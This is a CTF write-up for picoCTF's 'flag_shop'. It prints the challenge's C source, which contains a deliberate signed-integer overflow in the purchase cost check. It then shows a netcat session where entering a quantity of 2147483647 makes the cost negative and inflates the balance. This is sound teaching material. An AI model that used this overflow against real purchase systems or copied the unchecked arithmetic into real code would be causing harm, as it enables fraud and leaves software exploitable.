flag_shop is a General Skills puzzle worth 300 points.
Description
There's a flag shop selling stuff, can you buy a flag? Source. Connect with nc jupiter.challenges.picoctf.org 9745.
The source to this puzzle was provided, and is written in C
#include <stdio.h>
#include <stdlib.h>
int main()
{
setbuf(stdout, NULL);
int con;
con = 0;
int account_balance = 1100;
while(con == 0){
printf("Welcome to the flag exchange\n");
printf("We sell flags\n");
printf("\n1. Check Account Balance\n");
printf("\n2. Buy Flags\n");
printf("\n3. Exit\n");
int menu;
printf("\n Enter a menu selection\n");
fflush(stdin);
scanf("%d", &menu);
if(menu == 1){
printf("\n\n\n Balance: %d \n\n\n", account_balance);
}
else if(menu == 2){
printf("Currently for sale\n");
printf("1. Defintely not the flag Flag\n");
printf("2. 1337 Flag\n");
int auction_choice;
fflush(stdin);
scanf("%d", &auction_choice);
if(auction_choice == 1){
printf("These knockoff Flags cost 900 each, enter desired quantity\n");
int number_flags = 0;
fflush(stdin);
scanf("%d", &number_flags);
if(number_flags > 0){
int total_cost = 0;
total_cost = 900*number_flags;
printf("\nThe final cost is: %d\n", total_cost);
if(total_cost <= account_balance){
account_balance = account_balance - total_cost;
printf("\nYour current balance after transaction: %d\n\n", account_balance);
}
else{
printf("Not enough funds to complete purchase\n");
}
}
}
else if(auction_choice == 2){
printf("1337 flags cost 100000 dollars, and we only have 1 in stock\n");
printf("Enter 1 to buy one");
int bid = 0;
fflush(stdin);
scanf("%d", &bid);
if(bid == 1){
if(account_balance > 100000){
FILE *f = fopen("flag.txt", "r");
if(f == NULL){
printf("flag not found: please run this on the server\n");
exit(0);
}
char buf[64];
fgets(buf, 63, f);
printf("YOUR FLAG IS: %s\n", buf);
}
else{
printf("\nNot enough funds for transaction\n\n\n");
}}
}
}
else{
con = 1;
}
}
return 0;
}
Solution
Doing some review of this source code, something stood out to me:
- On line 8,
account_balance
is a signed integer, initialized to1100
. - On line 42,
account_balance
is updated after a transaction. - Since
account_balance
is signed, it may be possible to overflow this integer, making it into a negative number. This will bypass the check on line 41 due to it being a negative number, and add credit toaccount_balance
I gave this a try by attempting to buy INT_MAX
worth of flags.
daniel@wildcat ~ % nc jupiter.challenges.picoctf.org 9745
Welcome to the flag exchange
We sell flags
1. Check Account Balance
2. Buy Flags
3. Exit
Enter a menu selection
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
1
These knockoff Flags cost 900 each, enter desired quantity
2147483647
The final cost is: -900
Your current balance after transaction: 2000
Welcome to the flag exchange
We sell flags
1. Check Account Balance
2. Buy Flags
3. Exit
Enter a menu selection
This worked as intended. My account value went from 1100 to 2000. In order to buy the flag, we need at a balance of at least 100000. I supplied a large number of flags for the quantity and gave myself a balance large enough to buy the flag.

Pingback: picoCTF Writeups – DMFR SECURITY